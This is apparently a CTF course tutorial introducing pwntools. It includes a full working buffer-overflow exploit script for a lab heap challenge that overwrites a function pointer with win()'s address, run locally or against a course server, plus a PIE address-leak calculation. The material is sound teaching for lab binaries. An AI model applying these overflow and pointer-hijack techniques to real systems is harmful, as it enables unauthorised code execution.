Bonus: A pwntools Primer — Full¶
Tools: python3, pwntools
A short tutorial, not a challenge, so it has no build/publish/deploy pipeline and no flag.
It teaches the parts of pwntools the session needs, and is meant to be done before bonus-heap-mayhem, the one challenge that cannot be solved by hand.
Why this exists¶
Most challenges in this session you can solve by typing into nc, or with the one-line solve.sh in each solve/ directory.
Two things change that:
- An address in the payload has to be sent in the right byte order, which is awkward to type.
heap-mayhemis a PIE: the address you need is different on every run, so you must read a leaked value and compute from it live. No fixed script of keystrokes can do that.
pwntools handles both: it is a Python library for talking to a program and building byte payloads.
Tubes: one object for local and remote¶
A tube is a connection. The same methods work whether it is a local process or a network service:
from pwn import *
io = process("./chall") # run and talk to a local binary
io = remote("141.85.224.106", 31012) # talk to the deployed service
Reading and writing:
io.recvuntil(b"Enter your choice: ") # read until this text appears
line = io.recvline() # read one line
data = io.recvall(timeout=5) # read everything until the program closes
io.send(b"abc") # send bytes, no newline
io.sendline(b"2") # send bytes plus a newline
io.sendlineafter(b"choice: ", b"2") # recvuntil then sendline, in one call
io.interactive() # connect it to your keyboard
Everything is bytes: write b"2", not "2".
Packing: numbers to bytes, in the right order¶
x86 is little-endian: the least significant byte goes first. Write an address as digits and it comes out backwards, so let pwntools pack it:
p64(0x401196) # -> b"\x96\x11\x40\x00\x00\x00\x00\x00" (64-bit)
p32(0x80491f6) # -> b"\xf6\x91\x04\x08" (32-bit)
u64(b"\x96\x11\x40\x00\x00\x00\x00\x00") # -> 0x401196 (bytes back to a number)
u32(b"\xf6\x91\x04\x08") # -> 0x80491f6
Build a payload by concatenating bytes:
payload = b"A" * 32 # filler to reach the neighbour
payload += p64(0x401196) # the address to land on it
Addresses from the ELF¶
exe = ELF("chall", checksec=False)
win = exe.symbols["win"] # a function's address
bss = exe.get_section_by_name(".bss").header.sh_addr # a section's address
For a non-PIE binary (heap-0..heap-havoc) these are the real runtime addresses.
For a PIE (heap-mayhem) they are offsets from the load base: recover the base from a leak, then add the offset.
A full worked example: heap-2 in pwntools¶
03-cylab-heap-2 needs exactly one packed address, so it is the ideal first script.
The bug: overflowing input_data by 32 bytes reaches the buffer x, and check_win() calls the 4-byte value it finds there as a function. Put win()'s address there.
#!/usr/bin/env python3
from pwn import *
exe = ELF("chall", checksec=False)
io = process("./chall") # local; swap for remote(...) below
# io = remote("141.85.224.106", 31012)
io.recvuntil(b"Enter your choice: ")
io.sendline(b"2") # write to buffer
io.recvuntil(b"Data for buffer: ")
io.sendline(b"A" * 32 + p64(exe.symbols["win"]))
io.recvuntil(b"Enter your choice: ")
io.sendline(b"4") # check_win() calls *x
print(io.recvall(timeout=5).decode(errors="replace"))
Run it against the local binary, then change process("./chall") to remote("141.85.224.106", 31012) and run it again.
The reference is 03-cylab-heap-2/solve/exploit.py, which wires the local/remote choice to args.REMOTE so one file does both:
python3 exploit.py # local ./chall
python3 exploit.py REMOTE HOST=141.85.224.106 PORT=31012 # remote
Where this leads: leaking under PIE¶
heap-mayhem adds the step this primer is really for.
The program prints a live function pointer; your script reads it, subtracts that function's known offset to get the load base, adds the target function's offset, and only then builds the overflow:
leaked = int(row.split()[-1], 16) # read the printed pointer
base = leaked - exe.symbols["default_audit"]
secret = base + exe.symbols["secret_audit"]
payload = b"C" * distance + p64(secret) # distance measured at runtime
That read-then-compute is exactly what a fixed sequence of keystrokes cannot do, and why pwntools is required there.
See bonus-heap-mayhem/README.md.